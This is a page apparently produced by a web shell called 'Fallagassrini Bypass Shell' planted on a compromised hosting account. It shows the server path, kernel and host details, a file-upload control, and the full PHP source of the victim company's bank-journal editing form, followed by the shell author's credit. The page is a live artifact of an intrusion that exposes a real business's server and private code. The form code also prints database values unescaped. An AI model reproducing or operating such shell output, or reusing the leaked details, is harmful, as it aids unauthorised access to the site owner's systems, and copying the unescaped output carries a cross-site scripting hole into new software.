? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/sgms/application/views/Accounting/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/sgms/application/views/Accounting/edit_bank_journal.php

<?php
if ( ! defined('BASEPATH')) exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');
?>
<script type="text/javascript">
    jQuery(document).ready(function()
    {
          
           check_fiscal_year();
          
    });
    
    function check_bank(code,id)
    {
        
        $("#sum_bal"+id).load("<?= site_url('accounting/bank_bal/') ?>" +"/"+ code ,function(data)
                {
                    
                });

      
        var from=$("#frombank").val()
        var to=$("#tobank").val()
        
      
        if(from==to)
            {
                alert('Cannot transfer to same account');
                document.getElementById(id).selectedIndex='Select';
                document.getElementById("sum_bal"+id).style.display='none';
                return false;
            }
            
    
    }
</script>
<link href="<?=base_url()?>assets/css/tablesortnew.css" rel="stylesheet" type="text/css"/>
<div class="select-bar">
    <label><img src="<?=base_url()?>assets/images/backbutton.png" title="Back" class="clickimage" onclick="viewdata('accounting','viewinaccountingsearch','search_bank_journal_unposted','view_bank_journal_unposted','<?=$_SESSION['pagenum'];?>')" alt="Back" align = "center" width="25" height="25"  />
    </label>
    <span class="heading">Updating Bank Journal</span>
</div>

<fieldset>
    <?php
   
    $attributes=array('id'=>'validateform','class'=>'customForm');
    echo form_open('accounting/addinaccounting/bankaccount_unpostpayment/view_bank_journal_unposted/1',$attributes);
     $payment_method=$this->mastermodel->getenumvalues('unposted_payment','payment_method');
    $maininfo=$viewinfo->row();
     ?>
<ul>
    <li>
    <table class="sortnew">
        <tr><th colspan='2' style="text-align: center">Bank Journal Details</th></tr>
        
        <tr>
            <td>From Account</td>
            <td>
                <select name="bankacc" id="tobank" onchange="check_bank(this.value,'tobank')" class="required" style="width:160px">
                <option value="">Select</option>
                <?php
                $bankacc=$this->mastermodel->getdatas('bank_account');
                if(count($bankacc))
                {
                    foreach ($bankacc as $key => $acc)
                    {
                        echo "<option value='".$acc['account_code']. "' ";if($maininfo->bank_account_code==$acc['account_code']){ echo "selected";}  echo " >" .$acc['account_code'].'-'. $acc['bank_account_name'] . "</option>";
                    }
                }
                ?>
                </select>
                <span  id="sum_baltobank"></span>
            </td>
        </tr>
        
        <tr>
            <td>
                To Account
            </td>
            <td >
                
                 <select name="code_0" id="frombank" onchange="check_bank(this.value,'frombank')" class="required" style="width:160px">
                <option value="">Select</option>
                <?php
                $bankacc=$this->mastermodel->getdatas('bank_account');
                if(count($bankacc))
                {
                    foreach ($bankacc as $key => $acc)
                    {
                        echo "<option value='".$acc['account_code']. "' ";if($maininfo->other_account_code==$acc['account_code']){ echo "selected";}  echo "  >" .$acc['account_code'].'-'. $acc['bank_account_name'] . "</option>";
                    }
                }
                ?>
                </select>
                <span  id="sum_balfrombank"></span>
              
            </td>
        </tr>
        
        

       <tr>
            <td>Date</td>
            <td>
              <?php
                      $data = array(
                      'name'        => 'payment_date',
                      'id'          => 'payment_date',
                      'class'       =>'required calfocus',
                      'value'       => $this->mastermodel->convertdatenormalformat($maininfo->payment_date)
                      );
                      echo form_input($data).form_error($data);
                 ?>
            </td>
        </tr>
        
       <tr>
            <td>
                Amount
            </td>
            <td style="width:65%">
                <?php
                  $data = array(
                  'name'        => 'amount_0',
                  'id'          => 'amount_0',
                  'class'       =>'required auto',
                  'value'       => abs($maininfo->amount),    
              
                  );
                  echo form_input($data).form_error($data);
             ?>
            </td>
        </tr>
       <tr>
           <td>
                Payment Method
            </td>
            <td><select name="payment_method" id="payment_method" class="required" onchange="showchequeinfo(this.value)">
                 <?php
                 if(count($payment_method['val'])>0)
                 {
                        foreach ($payment_method['val'] as $method)
                        {
                            echo "<option value='".$method. "' ";if($maininfo->payment_method==$method){ echo "selected";}  echo " >" . $method . "</option>";
                        }
                     
                 }
                 
                 ?>
                    
                    
                    
                </select>
           </td>
       </tr>

    </table>

         <table class="sortnew">
        <tr><th colspan="2" style="text-align: center">A/C Information</th></tr>
        <tr>
            <td>Transaction Code</td>
            <td>
                <input type="text" name="ref_code" id="ref_code" class="required" readonly value="<?=$maininfo->ref_code;?>"   />
                <input type="hidden" value="<?=$id?>" name="refid">
            </td>
        </tr>

        

        <tr>
            <td>Memo</td>
            <td>
                <?php
                  $data = array(
                  'name'        => 'memo_0',
                  'id'          => 'memo_0',
                   'rows'          => '10',
                  'cols'          => '5',
                  'style'       => 'width:80%',
                   'value'       => $maininfo->memo   

                  );
                  echo form_textarea($data).form_error($data);
             ?>
            </td>
        </tr>

        
        
    </table>
    
   
    </li>
    <?php
    $style="style='display:none'";
    if($maininfo->payment_method=='Cheque')
    {
        $style="style='display:block'";
    }
    ?>
    
    <li id="cheque_info_li" <?=$style?>>
        <table class="sort">
        
        
        <tr>
            <th>
                Cheque Date
            </th>
            
            <th>
              <?php
                      $data = array(
                      'name'        => 'cheque_date',
                      'id'          => 'cheque_date',
                      'class'       =>'calfocus',
                      'value'       => $this->mastermodel->convertdatenormalformat($maininfo->cheque_date),
                      'style'       =>'width:100px'    
                      );
                      echo form_input($data).form_error($data);
                 ?>
            </th>
            <th>
                Cheque Drawn
            </th>
            <th>
                <input type="text" value="<?=$maininfo->cheque_drawn?>" name="cheque_drawn" id="cheque_drawn" class=""  style="width:100px"  />
            </th>
            <th>
                Cheque No
            </th>
            <th>
                <input type="text" value="<?=$maininfo->cheque_no?>"  name="cheque_no" id="cheque_no" class=""  style="width:100px"  />
            </th>
            
                
            
        </tr>
        </table>
        
    </li>
        <input type="hidden" name="counter" id="counter"/><!--for validation-->
        <input type="hidden" name="counter_check" value="0" id="counter_check"/> <!--- for sending count to table to model for "for loop" ---->
        <input type="hidden" name="class_ch" id="class_ch"/><!--- for change class for edit-->
        <input type="hidden" name="trans_type" value="4" id="trans_type"/>
    <li>
        <input type="hidden" name="tab_name" value="unposted_payment"/>
        <label for="submit">&nbsp;</label>
        <button type="submit" id="submit" class="clickimage" onclick="addformdata('validateform')">Save</button>
    </li>
    </ul>
    <?php echo form_close();?>
</fieldset>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net